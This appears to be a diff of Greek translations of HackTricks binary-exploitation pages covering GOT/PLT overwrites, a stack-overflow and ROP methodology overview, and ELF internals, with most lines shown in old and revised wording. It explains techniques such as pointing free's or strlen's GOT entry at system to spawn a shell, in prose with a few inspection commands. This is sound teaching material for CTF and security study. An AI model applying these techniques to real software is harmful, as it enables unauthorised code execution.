**Επομένως,** οι είσοδοι του GOT χρησιμοποιούνται άμεσα μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι είσοδοι του PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέσμου.
## Λάβετε Εκτέλεση
### Ελέγξτε τον GOT
Αποκτήστε τη διεύθυνση του πίνακα GOT με: **`objdump -s -j .got ./exec`**
Λάβετε τη διεύθυνση του πίνακα GOT με: **`objdump -s -j .got ./exec`**
![](<../../images/image (121).png>)
@ -34,42 +34,43 @@
### GOT2Exec
Σε ένα δυαδικό αρχείο, ο GOT έχει τις **διευθύνσεις στις συναρτήσεις ή** στην **ενότητα PLT** που θα φορτώσει τη διεύθυνση της συνάρτησης. Ο στόχος αυτής της αυθαίρετης εγγραφής είναι να **επικαλύψει μια καταχώρηση GOT** μιας συνάρτησης που πρόκειται να εκτελεστεί αργότερα **με** τη **διεύθυνση** του PLT της **συνάρτησης `system`** για παράδειγμα.
Σε ένα δυαδικό αρχείο, ο GOT έχει τις **διευθύνσεις στις συναρτήσεις ή** στην **ενότητα PLT** που θα φορτώσει τη διεύθυνση της συνάρτησης. Ο στόχος αυτής της αυθαίρετης εγγραφής είναι να **αντικαταστήσει μια είσοδο GOT** μιας συνάρτησης που πρόκειται να εκτελεστεί αργότερα **με** τη **διεύθυνση** του PLT της **συνάρτησης** **`system`** για παράδειγμα.
Ιδανικά, θα **επικαλύψετε** τον **GOT** μιας **συνάρτησης** που πρόκειται να **καλεστεί με παραμέτρους που ελέγχετε εσείς** (έτσι θα μπορείτε να ελέγξετε τις παραμέτρους που αποστέλλονται στη συνάρτηση system).
Ιδανικά, θα **αντικαταστήσετε** τον **GOT** μιας **συνάρτησης** που **θα κληθεί με παραμέτρους που ελέγχετε εσείς** (έτσι θα μπορείτε να ελέγξετε τις παραμέτρους που αποστέλλονται στη συνάρτηση system).
Αν η **`system`** **δεν χρησιμοποιείται** από το δυαδικό αρχείο, η συνάρτηση system **δεν θα** έχει μια καταχώρηση στον PLT. Σε αυτό το σενάριο, θα **πρέπει πρώτα να διαρρεύσετε τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να επικαλύψετε τον GOT για να δείξετε σε αυτή τη διεύθυνση.
Αν η **`system`** **δεν χρησιμοποιείται** από το δυαδικό αρχείο, η συνάρτηση system **δεν θα** έχει μια είσοδο στον PLT. Σε αυτό το σενάριο, θα **πρέπει πρώτα να διαρρεύσετε τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να αντικαταστήσετε τον GOT για να δείξει σε αυτή τη διεύθυνση.
Μπορείτε να δείτε τις διευθύνσεις PLT με **`objdump -j .plt -d ./vuln_binary`**
## Εγγραφές GOT της libc
## Είσοδοι GOT της libc
Ο **GOT της libc** συνήθως έχει μεταγλωττιστεί με **μερική RELRO**, καθιστώντας τον έναν καλό στόχο για αυτό, υποθέτοντας ότι είναι δυνατό να προσδιοριστεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
Ο **GOT της libc** συνήθως έχει μεταγλωττιστεί με **μερική RELRO**, καθιστώντας τον έναν ωραίο στόχο για αυτό, υποθέτοντας ότι είναι δυνατό να προσδιοριστεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
Κοινές συναρτήσεις της libc θα καλέσουν **άλλες εσωτερικές συναρτήσεις** των οποίων ο GOT θα μπορούσε να επικαλυφθεί προκειμένου να αποκτηθεί εκτέλεση κώδικα.
Κοινές συναρτήσεις της libc θα καλέσουν **άλλες εσωτερικές συναρτήσεις** των οποίων ο GOT θα μπορούσε να αντικατασταθεί προκειμένου να αποκτηθεί εκτέλεση κώδικα.
Βρείτε [**περισσότερες πληροφορίες σχετικά με αυτή την τεχνική εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
### **Free2system**
Στην εκμετάλλευση heap CTFs είναι κοινό να μπορείτε να ελέγξετε το περιεχόμενο των τμημάτων και σε κάποιο σημείο ακόμη και να επικαλυφθεί ο πίνακας GOT. Ένα απλό κόλπο για να αποκτήσετε RCE αν δεν είναι διαθέσιμα gadgets είναι να επικαλύψετε τη διεύθυνση GOT του `free` ώστε να δείχνει στη `system` και να γράψετε μέσα σε ένα τμήμα `"/bin/sh"`. Με αυτόν τον τρόπο, όταν αυτό το τμήμα απελευθερωθεί, θα εκτελέσει `system("/bin/sh")`.
Στην εκμετάλλευση heap CTFs είναι κοινό να μπορείτε να ελέγξετε το περιεχόμενο των τμημάτων και σε κάποιο σημείο ακόμη και να αντικαταστήσετε τον πίνακα GOT. Ένα απλό κόλπο για να αποκτήσετε RCE αν δεν είναι διαθέσιμα gadgets είναι να αντικαταστήσετε τη διεύθυνση GOT του `free` για να δείξει στη `system` και να γράψετε μέσα σε ένα τμήμα `"/bin/sh"`. Με αυτόν τον τρόπο, όταν αυτό το τμήμα απελευθερωθεί, θα εκτελέσει `system("/bin/sh")`.
### **Strlen2system**
Μια άλλη κοινή τεχνική είναι να επικαλύψετε τη διεύθυνση GOT της **`strlen`** ώστε να δείχνει στη **`system`**, έτσι αν αυτή η συνάρτηση κληθεί με είσοδο χρήστη είναι δυνατό να περάσετε τη συμβολοσειρά `"/bin/sh"` και να αποκτήσετε ένα shell.
Μια άλλη κοινή τεχνική είναι να αντικαταστήσετε τη διεύθυνση GOT της **`strlen`** για να δείξει στη **`system`**, έτσι ώστε αν αυτή η συνάρτηση κληθεί με είσοδο χρήστη, είναι δυνατό να περάσετε τη συμβολοσειρά `"/bin/sh"` και να αποκτήσετε ένα shell.
Επιπλέον, αν η `puts` χρησιμοποιείται με είσοδο χρήστη, είναι δυνατό να επικαλύψετε τη διεύθυνση GOT της `strlen` ώστε να δείχνει στη `system` και να περάσετε τη συμβολοσειρά `"/bin/sh"` για να αποκτήσετε ένα shell επειδή **η `puts` θα καλέσει τη `strlen` με την είσοδο χρήστη**.
Επιπλέον, αν η `puts` χρησιμοποιείται με είσοδο χρήστη, είναι δυνατό να αντικαταστήσετε τη διεύθυνση GOT της `strlen` για να δείξει στη `system` και να περάσετε τη συμβολοσειρά `"/bin/sh"` για να αποκτήσετε ένα shell, επειδή **η `puts` θα καλέσει τη `strlen` με την είσοδο χρήστη**.
## **One Gadget**
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
## **Κατάχρηση του GOT από Heap**
Ένας κοινός τρόπος για να αποκτήσετε RCE από μια ευπάθεια heap είναι να καταχραστείτε ένα fastbin ώστε να είναι δυνατό να προσθέσετε το μέρος του πίνακα GOT στο fast bin, έτσι ώστε κάθε φορά που αυτό το τμήμα κατανεμηθεί θα είναι δυνατό να **επικαλύψετε τον δείκτη μιας συνάρτησης, συνήθως `free`**.\
Στη συνέχεια, δείχνοντας το `free` στη `system` και απελευθερώνοντας ένα τμήμα όπου γράφτηκε το `/bin/sh\x00` θα εκτελέσει ένα shell.
Ένας κοινός τρόπος για να αποκτήσετε RCE από μια ευπάθεια heap είναι να καταχραστείτε ένα fastbin, έτσι ώστε να είναι δυνατό να προσθέσετε το μέρος του πίνακα GOT στο fast bin, έτσι ώστε κάθε φορά που αυτό το τμήμα κατανέμεται να είναι δυνατό να **αντικαταστήσετε τον δείκτη μιας συνάρτησης, συνήθως `free`**.\
Στη συνέχεια, δείχνοντας τη `free` στη `system` και απελευθερώνοντας ένα τμήμα όπου γράφτηκε το `/bin/sh\x00` θα εκτελέσει ένα shell.
Είναι δυνατό να βρείτε ένα [**παράδειγμα εδώ**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
@ -77,6 +78,7 @@
Η προστασία **Full RELRO** προορίζεται να προστατεύει από αυτού του είδους την τεχνική επιλύοντας όλες τις διευθύνσεις των συναρτήσεων όταν ξεκινά το δυαδικό αρχείο και καθιστώντας τον **πίνακα GOT μόνο για ανάγνωση** μετά από αυτό:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}

View File

@ -4,7 +4,7 @@
## Βασικές Πληροφορίες για ELF
Πριν ξεκινήσετε να εκμεταλλεύεστε οτιδήποτε, είναι ενδιαφέρον να κατανοήσετε μέρος της δομής ενός **ELF δυαδικού**:
Πριν ξεκινήσετε να εκμεταλλεύεστε οτιδήποτε, είναι ενδιαφέρον να κατανοήσετε μέρος της δομής ενός **ELF binary**:
{{#ref}}
elf-tricks.md
@ -16,23 +16,23 @@ elf-tricks.md
tools/
{{#endref}}
## Μεθοδολογία Σφάλματος Στοίβας
## Μεθοδολογία Stack Overflow
Με τόσες πολλές τεχνικές, είναι καλό να έχετε ένα σχέδιο για το πότε θα είναι χρήσιμη κάθε τεχνική. Σημειώστε ότι οι ίδιες προστασίες θα επηρεάσουν διαφορετικές τεχνικές. Μπορείτε να βρείτε τρόπους να παρακάμψετε τις προστασίες σε κάθε ενότητα προστασίας, αλλά όχι σε αυτή τη μεθοδολογία.
## Έλεγχος της Ροής
Υπάρχουν διάφοροι τρόποι με τους οποίους μπορείτε να ελέγξετε τη ροή ενός προγράμματος:
Υπάρχουν διάφοροι τρόποι για να ελέγξετε τη ροή ενός προγράμματος:
- [**Σφάλματα Στοίβας**](../stack-overflow/index.html) που παραγράφουν τον δείκτη επιστροφής από τη στοίβα ή το EBP -> ESP -> EIP.
- Μπορεί να χρειαστεί να εκμεταλλευτείτε ένα [**Σφάλμα Ακέραιου**](../integer-overflow.md) για να προκαλέσετε το σφάλμα.
- Ή μέσω **Αυθαίρετων Εγγραφών + Γράψτε Τι Πού για Εκτέλεση**.
- [**Μορφοποιημένες συμβολοσειρές**](../format-strings/index.html)**:** Εκμεταλλευτείτε το `printf` για να γράψετε αυθαίρετο περιεχόμενο σε αυθαίρετες διευθύνσεις.
- [**Δεικτοδότηση Πίνακα**](../array-indexing.md): Εκμεταλλευτείτε μια κακώς σχεδιασμένη δεικτοδότηση για να μπορέσετε να ελέγξετε ορισμένους πίνακες και να αποκτήσετε μια αυθαίρετη εγγραφή.
- Μπορεί να χρειαστεί να εκμεταλλευτείτε ένα [**Σφάλμα Ακέραιου**](../integer-overflow.md) για να προκαλέσετε το σφάλμα.
- **bof σε WWW μέσω ROP**: Εκμεταλλευτείτε μια υπερχείλιση buffer για να κατασκευάσετε ένα ROP και να μπορέσετε να αποκτήσετε ένα WWW.
- [**Stack Overflows**](../stack-overflow/index.html) που επαναγράφουν τον δείκτη επιστροφής από το stack ή το EBP -> ESP -> EIP.
- Μπορεί να χρειαστεί να καταχραστείτε ένα [**Integer Overflows**](../integer-overflow.md) για να προκαλέσετε την υπερχείλιση.
- Ή μέσω **Arbitrary Writes + Write What Where to Execution**.
- [**Format strings**](../format-strings/index.html)**:** Καταχραστείτε το `printf` για να γράψετε αυθαίρεο περιεχόμενο σε αυθαίρετες διευθύνσεις.
- [**Array Indexing**](../array-indexing.md): Καταχραστείτε μια κακώς σχεδιασμένη ευρετηρίαση για να μπορέσετε να ελέγξετε ορισμένους πίνακες και να αποκτήσετε μια αυθαίρετη εγγραφή.
- Μπορεί να χρειαστεί να καταχραστείτε ένα [**Integer Overflows**](../integer-overflow.md) για να προκαλέσετε την υπερχείλιση.
- **bof to WWW via ROP**: Καταχραστείτε μια υπερχείλιση buffer για να κατασκευάσετε ένα ROP και να μπορέσετε να αποκτήσετε ένα WWW.
Μπορείτε να βρείτε τις τεχνικές **Γράψτε Τι Πού για Εκτέλεση** σε:
Μπορείτε να βρείτε τις τεχνικές **Write What Where to Execution** σε:
{{#ref}}
../arbitrary-write-2-exec/
@ -40,11 +40,11 @@ tools/
## Αιώνιοι Βρόχοι
Κάτι που πρέπει να λάβετε υπόψη είναι ότι συνήθως **μόνο μία εκμετάλλευση μιας ευπάθειας μπορεί να μην είναι αρκετή** για να εκτελέσετε μια επιτυχημένη εκμετάλλευση, ειδικά κάποιες προστασίες χρειάζονται να παρακαμφθούν. Επομένως, είναι ενδιαφέρον να συζητήσουμε ορισμένες επιλογές για **να κάνουμε μια μοναδική ευπάθεια εκμεταλλεύσιμη πολλές φορές** στην ίδια εκτέλεση του δυαδικού:
Κάτι που πρέπει να λάβετε υπόψη είναι ότι συνήθως **μόνο μία εκμετάλλευση μιας ευπάθειας μπορεί να μην είναι αρκετή** για να εκτελέσετε μια επιτυχημένη εκμετάλλευση, ειδικά κάποιες προστασίες χρειάζονται να παρακαμφθούν. Επομένως, είναι ενδιαφέρον να συζητήσουμε κάποιες επιλογές για **να κάνουμε μια μοναδική ευπάθεια εκμεταλλεύσιμη πολλές φορές** στην ίδια εκτέλεση του δυαδικού:
- Γράψτε σε μια **αλυσίδα ROP** τη διεύθυνση της **`main` συνάρτησης** ή τη διεύθυνση όπου συμβαίνει η **ευπάθεια**.
- Ελέγχοντας μια κατάλληλη αλυσίδα ROP, μπορεί να είστε σε θέση να εκτελέσετε όλες τις ενέργειες σε αυτήν την αλυσίδα.
- Γράψτε στη **διεύθυνση `exit` στο GOT** σε οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν τελειώσει) τη διεύθυνση για να **επιστρέψετε στην ευπάθεια**.
- Γράψτε σε μια **ROP** αλυσίδα τη διεύθυνση της **`main` συνάρτησης** ή τη διεύθυνση όπου συμβαίνει η **ευπάθεια**.
- Ελέγχοντας μια κατάλληλη αλυσίδα ROP, μπορεί να είστε σε θέση να εκτελέσετε όλες τις ενέργειες σε αυτή την αλυσίδα.
- Γράψτε στη διεύθυνση **`exit` στο GOT** (ή οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν τελειώσει) τη διεύθυνση για να **επιστρέψετε στην ευπάθεια**.
- Όπως εξηγήθηκε στο [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** αποθηκεύστε 2 συναρτήσεις εδώ, μία για να καλέσετε ξανά την ευπάθεια και άλλη για να καλέσετε **`__libc_csu_fini`** που θα καλέσει ξανά τη συνάρτηση από το `.fini_array`.
## Στόχοι Εκμετάλλευσης
@ -52,40 +52,40 @@ tools/
### Στόχος: Κλήση μιας Υπάρχουσας Συνάρτησης
- [**ret2win**](#ret2win): Υπάρχει μια συνάρτηση στον κώδικα που πρέπει να καλέσετε (ίσως με κάποιες συγκεκριμένες παραμέτρους) προκειμένου να αποκτήσετε τη σημαία.
- Σε μια **κανονική bof χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **και** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) χρειάζεται απλώς να γράψετε τη διεύθυνση στη διεύθυνση επιστροφής που αποθηκεύεται στη στοίβα.
- Σε μια **κανονική bof χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **και** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) χρειάζεται απλώς να γράψετε τη διεύθυνση στη διεύθυνση επιστροφής που αποθηκεύεται στο stack.
- Σε μια bof με [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), θα χρειαστεί να την παρακάμψετε.
- Σε μια bof με [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), θα χρειαστεί να την παρακάμψετε.
- Εάν χρειαστεί να ορίσετε πολλές παραμέτρους για να καλέσετε σωστά τη συνάρτηση **ret2win**, μπορείτε να χρησιμοποιήσετε:
- Αν χρειαστεί να ορίσετε πολλές παραμέτρους για να καλέσετε σωστά τη συνάρτηση **ret2win**, μπορείτε να χρησιμοποιήσετε:
- Μια [**ROP**](#rop-and-ret2...-techniques) **αλυσίδα αν υπάρχουν αρκετά gadgets** για να προετοιμάσετε όλες τις παραμέτρους.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (σε περίπτωση που μπορείτε να καλέσετε αυτή τη syscall) για να ελέγξετε πολλούς καταχωρητές.
- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές.
- Μέσω ενός [**Write What Where**](../arbitrary-write-2-exec/index.html) μπορείτε να εκμεταλλευτείτε άλλες ευπάθειες (όχι bof) για να καλέσετε τη συνάρτηση **`win`**.
- [**Ανακατεύθυνση Δεικτών**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να παραγράψετε αυτή τη διεύθυνση.
- Μέσω ενός [**Write What Where**](../arbitrary-write-2-exec/index.html) μπορείτε να καταχραστείτε άλλες ευπάθειες (όχι bof) για να καλέσετε τη συνάρτηση **`win`**.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που το stack περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να επαναγράψετε αυτή τη διεύθυνση.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) μπορεί να επηρεάσουν τις διευθύνσεις.
- [**Μη αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε.
- [**Αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε.
### Στόχος: RCE
#### Μέσω shellcode, αν το nx είναι απενεργοποιημένο ή αναμειγνύοντας shellcode με ROP:
- [**(Στοίβα) Shellcode**](#stack-shellcode): Αυτό είναι χρήσιμο για να αποθηκεύσετε ένα shellcode στη στοίβα πριν ή μετά την υπερχείλιση του δείκτη επιστροφής και στη συνέχεια **να μεταβείτε σε αυτό** για να το εκτελέσετε:
- [**(Stack) Shellcode**](#stack-shellcode): Αυτό είναι χρήσιμο για να αποθηκεύσετε ένα shellcode στο stack πριν ή μετά την επαναγραφή του δείκτη επιστροφής και στη συνέχεια **να μεταβείτε σε αυτό** για να το εκτελέσετε:
- **Σε κάθε περίπτωση, αν υπάρχει ένα** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** σε μια κανονική bof θα χρειαστεί να την παρακάμψετε (leak).
- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **και** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) είναι δυνατόν να μεταβείτε στη διεύθυνση της στοίβας καθώς δεν θα αλλάξει ποτέ.
- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **και** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) είναι δυνατόν να μεταβείτε στη διεύθυνση του stack καθώς δεν θα αλλάξει ποτέ.
- **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα χρειαστείτε τεχνικές όπως [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) για να μεταβείτε σε αυτό.
- **Με** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), θα χρειαστεί να χρησιμοποιήσετε κάποιο [**ROP**](../rop-return-oriented-programing/index.html) **για να καλέσετε `memprotect`** και να κάνετε κάποια σελίδα `rwx`, προκειμένου στη συνέχεια **να αποθηκεύσετε το shellcode εκεί** (καλώντας read για παράδειγμα) και στη συνέχεια να μεταβείτε εκεί.
- Αυτό θα αναμείξει το shellcode με μια αλυσίδα ROP.
#### Μέσω syscalls
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Χρήσιμο για να καλέσετε `execve` για να εκτελέσετε αυθαίρετες εντολές. Πρέπει να είστε σε θέση να βρείτε τους **gadgets για να καλέσετε τη συγκεκριμένη syscall με τις παραμέτρους**.
- Εάν [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) είναι ενεργοποιημένα, θα χρειαστεί να τα νικήσετε **για να χρησιμοποιήσετε ROP gadgets** από το δυαδικό ή τις βιβλιοθήκες.
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Χρήσιμο για να καλέσετε `execve` για να εκτελέσετε αυθαίρετες εντολές. Πρέπει να μπορείτε να βρείτε τους **gadgets για να καλέσετε τη συγκεκριμένη syscall με τις παραμέτρους**.
- Αν [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) είναι ενεργοποιημένα, θα χρειαστεί να τα νικήσετε **για να χρησιμοποιήσετε ROP gadgets** από το δυαδικό ή τις βιβλιοθήκες.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) μπορεί να είναι χρήσιμο για να προετοιμάσετε το **ret2execve**.
- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές.
#### Μέσω libc
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Χρήσιμο για να καλέσετε μια συνάρτηση από μια βιβλιοθήκη (συνήθως από **`libc`**) όπως **`system`** με κάποιες προετοιμασμένες παραμέτρους (π.χ. `'/bin/sh'`). Χρειάζεστε το δυαδικό για να **φορτώσετε τη βιβλιοθήκη** με τη συνάρτηση που θα θέλατε να καλέσετε (συνήθως libc).
- Εάν **είναι στατικά μεταγλωττισμένο και χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά.
- Αν **είναι στατικά μεταγλωττισμένο και χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά.
- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **και γνωρίζοντας την έκδοση libc** που έχει φορτωθεί, η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά.
- Με [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **αλλά χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, γνωρίζοντας την libc και με το δυαδικό να χρησιμοποιεί τη συνάρτηση `system`** είναι δυνατόν να **`ret` στη διεύθυνση του system στο GOT** με τη διεύθυνση του `'/bin/sh'` στην παράμετρο (θα χρειαστεί να το καταλάβετε).
- Με [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) αλλά χωρίς [PIE](../common-binary-protections-and-bypasses/pie/index.html), γνωρίζοντας την libc και **χωρίς το δυαδικό να χρησιμοποιεί τη `system`** :
@ -98,14 +98,14 @@ tools/
#### Μέσω EBP/RBP
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Ελέγξτε το ESP για να ελέγξετε το RET μέσω του αποθηκευμένου EBP στη στοίβα.
- Χρήσιμο για **off-by-one** υπερχείλιση στοίβας.
- Χρήσιμο ως εναλλακτικός τρόπος για να ελέγξετε το EIP ενώ εκμεταλλεύεστε το EIP για να κατασκευάσετε το payload στη μνήμη και στη συνέχεια να μεταβείτε σε αυτό μέσω EBP.
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Ελέγξτε το ESP για να ελέγξετε το RET μέσω του αποθηκευμένου EBP στο stack.
- Χρήσιμο για **off-by-one** υπερχείλιση stack.
- Χρήσιμο ως εναλλακτικός τρόπος για να ελέγξετε το EIP ενώ καταχράστε το EIP για να κατασκευάσετε το payload στη μνήμη και στη συνέχεια να μεταβείτε σε αυτό μέσω EBP.
#### Διάφορα
- [**Ανακατεύθυνση Δεικτών**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να παραγράψετε αυτή τη διεύθυνση.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που το stack περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να επαναγράψετε αυτή τη διεύθυνση.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) μπορεί να επηρεάσουν τις διευθύνσεις.
- [**Μη αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε.
- [**Αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -78,7 +78,7 @@ Segment Sections...
Περιέχει τη ρύθμιση της άμυνας κατά της εκτέλεσης από τη στοίβα. Αν είναι ενεργοποιημένο, το δυαδικό αρχείο δεν θα μπορεί να εκτελεί κώδικα από τη στοίβα.
- Ελέγξτε με `readelf -l ./bin | grep GNU_STACK`. Για να το αλλάξετε αναγκαστικά κατά τη διάρκεια δοκιμών μπορείτε να χρησιμοποιήσετε `execstack -s|-c ./bin`.
- Ελέγξτε με `readelf -l ./bin | grep GNU_STACK`. Για να το αλλάξετε αναγκαστικά κατά τη διάρκεια δοκιμών, μπορείτε να χρησιμοποιήσετε `execstack -s|-c ./bin`.
### GNU_RELRO
@ -96,7 +96,7 @@ Segment Sections...
### TLS
Ορίζει έναν πίνακα εισόδων TLS, ο οποίος αποθηκεύει πληροφορίες σχετικά με τις μεταβλητές τοπικής νήματος.
Ορίζει έναν πίνακα TLS, ο οποίος αποθηκεύει πληροφορίες σχετικά με τις τοπικές μεταβλητές νήματος.
## Επικεφαλίδες Τμημάτων
@ -212,7 +212,7 @@ Num: Value Size Type Bind Vis Ndx Name
#### GNU Symbol Versioning (dynsym/dynstr/gnu.version)
Η σύγχρονη glibc χρησιμοποιεί εκδόσεις συμβόλων. Θα δείτε καταχωρήσεις στο `.gnu.version` και `.gnu.version_r` και ονόματα συμβόλων όπως `strlen@GLIBC_2.17`. Ο δυναμικός συνδέτης μπορεί να απαιτεί μια συγκεκριμένη έκδοση κατά την επίλυση ενός συμβόλου. Όταν δημιουργείτε χειροκίνητες ανακατανομές (π.χ. ret2dlresolve) πρέπει να παρέχετε τον σωστό δείκτη έκδοσης, αλλιώς η επίλυση αποτυγχάνει.
Η σύγχρονη glibc χρησιμοποιεί εκδόσεις συμβόλων. Θα δείτε εισόδους στα `.gnu.version` και `.gnu.version_r` και ονόματα συμβόλων όπως `strlen@GLIBC_2.17`. Ο δυναμικός συνδέτης μπορεί να απαιτεί μια συγκεκριμένη έκδοση κατά την επίλυση ενός συμβόλου. Όταν δημιουργείτε χειροκίνητες ανακατανομές (π.χ. ret2dlresolve) πρέπει να παρέχετε τον σωστό δείκτη έκδοσης, αλλιώς η επίλυση αποτυγχάνει.
## Δυναμική Ενότητα
```
@ -249,28 +249,28 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
Ο φάκελος NEEDED υποδεικνύει ότι το πρόγραμμα **χρειάζεται να φορτώσει τη συγκεκριμένη βιβλιοθήκη** για να συνεχίσει. Ο φάκελος NEEDED ολοκληρώνεται μόλις η κοινή **βιβλιοθήκη είναι πλήρως λειτουργική και έτοιμη** προς χρήση.
Ο κατάλογος NEEDED υποδεικνύει ότι το πρόγραμμα **χρειάζεται να φορτώσει τη συγκεκριμένη βιβλιοθήκη** για να συνεχίσει. Ο κατάλογος NEEDED ολοκληρώνεται μόλις η κοινή **βιβλιοθήκη είναι πλήρως λειτουργική και έτοιμη** προς χρήση.
### Σειρά αναζήτησης του δυναμικού φορτωτή (RPATH/RUNPATH, $ORIGIN)
Οι καταχωρίσεις `DT_RPATH` (παρωχημένο) και/ή `DT_RUNPATH` επηρεάζουν το πού αναζητά ο δυναμικός φορτωτής τις εξαρτήσεις. Γενική σειρά:
Οι καταχωρήσεις `DT_RPATH` (παρωχημένο) και/ή `DT_RUNPATH` επηρεάζουν το πού αναζητά ο δυναμικός φορτωτής τις εξαρτήσεις. Γενική σειρά:
- `LD_LIBRARY_PATH` (αγνοείται για προγράμματα setuid/sgid ή αλλιώς "ασφαλούς εκτέλεσης")
- `DT_RPATH` (μόνο αν απουσιάζει το `DT_RUNPATH`)
- `DT_RUNPATH`
- `ld.so.cache`
- προεπιλεγμένοι φάκελοι όπως `/lib64`, `/usr/lib64`, κ.λπ.
- προεπιλεγμένοι κατάλογοι όπως `/lib64`, `/usr/lib64`, κ.λπ.
`$ORIGIN` μπορεί να χρησιμοποιηθεί μέσα στο RPATH/RUNPATH για να αναφέρεται στον φάκελο του κύριου αντικειμένου. Από την οπτική γωνία ενός επιτιθέμενου, αυτό έχει σημασία όταν ελέγχετε τη διάταξη του συστήματος αρχείων ή το περιβάλλον. Για σκληρυμένα δυαδικά αρχεία (AT_SECURE), οι περισσότερες μεταβλητές περιβάλλοντος αγνοούνται από τον φορτωτή.
